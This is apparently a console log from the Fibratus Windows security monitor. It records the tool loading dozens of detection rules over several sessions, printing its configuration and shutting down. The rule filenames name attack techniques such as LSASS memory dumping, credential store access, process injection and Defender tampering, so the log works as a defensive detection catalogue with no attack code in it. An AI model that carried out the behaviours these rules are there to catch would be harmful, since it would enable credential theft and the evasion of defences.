source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:44:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:44:54+01:00 level=info msg=bootstrapping with pid 17968. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:44:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-fileio=>true enable-thread=>true flush-interval=>1s enable-mem=>false enable-registry=>true enable-image=>true enable-net=>true max-buffers=>36 enable-vamap=>true enable-audit-api=>true enable-handle=>false min-buffers=>16 enable-threadpool=>false enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info log-stdout=>true formatter=>text max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] enable-gzip=>false enabled=>false method=>POST timeout=>5s] amqp=>[ exchange=>fibratus routing-key=>fibratus exchange-type=>topic passive=>false vhost=>/ tls-insecure-skip-verify=>false enabled=>false durable=>false delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 flush-period=>1s enabled=>false healthcheck-timeout=>5s trace-log=>false healthcheck=>true timeout=>5s healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s enabled=>false fastscan=>true skip-allocs=>false excluded-files=>[] skip-registry=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:44:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:44:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:45:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:45:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:45:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:47:42+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:47:42+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:47:42+01:00 level=info msg=bootstrapping with pid 17944. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:47:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-audit-api=>true buffer-size=>512 enable-registry=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-fileio=>true enable-image=>true enable-thread=>true enable-handle=>false flush-interval=>1s enable-threadpool=>false max-buffers=>36 enable-dns=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-backups=>15 formatter=>text log-stdout=>true max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ enabled=>false index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false healthcheck-interval=>10s sniff=>false bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck=>true gzip-compression=>false] http=>[ enabled=>false serializer=>json timeout=>5s enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] method=>POST] amqp=>[ passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false timeout=>5s vhost=>/ durable=>false exchange=>fibratus exchange-type=>topic routing-key=>fibratus delivery-mode=>transient] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-allocs=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false skip-mmaps=>false excluded-files=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:47:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:47:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:48:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:48:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:48:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:48:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T17:48:08+01:00 level=info msg=bootstrapping with pid 6756. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:48:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-audit-api=>true enable-registry=>true stack-enrichment=>true enable-mem=>false buffer-size=>512 min-buffers=>16 max-buffers=>36 enable-thread=>true enable-fileio=>true enable-vamap=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-net=>true enable-image=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info max-age=>0 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ healthcheck=>true index-name=>fibratus flush-period=>1s healthcheck-interval=>10s sniff=>false timeout=>5s healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1] http=>[ timeout=>5s method=>POST enabled=>false endpoints=>[] serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ enabled=>false delivery-mode=>transient exchange-type=>topic passive=>false timeout=>5s vhost=>/ exchange=>fibratus url=>amqp://localhost:5672 durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] scan-timeout=>10s skip-files=>false skip-allocs=>false enabled=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:48:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:48:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:48:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:48:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:48:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:49:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-11T17:49:56+01:00 level=info msg=bootstrapping with pid 16128. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:49:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-fileio=>true enable-threadpool=>false enable-mem=>false buffer-size=>512 enable-registry=>true enable-audit-api=>true enable-handle=>false min-buffers=>16 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-vamap=>true enable-thread=>true enable-image=>true enable-net=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + 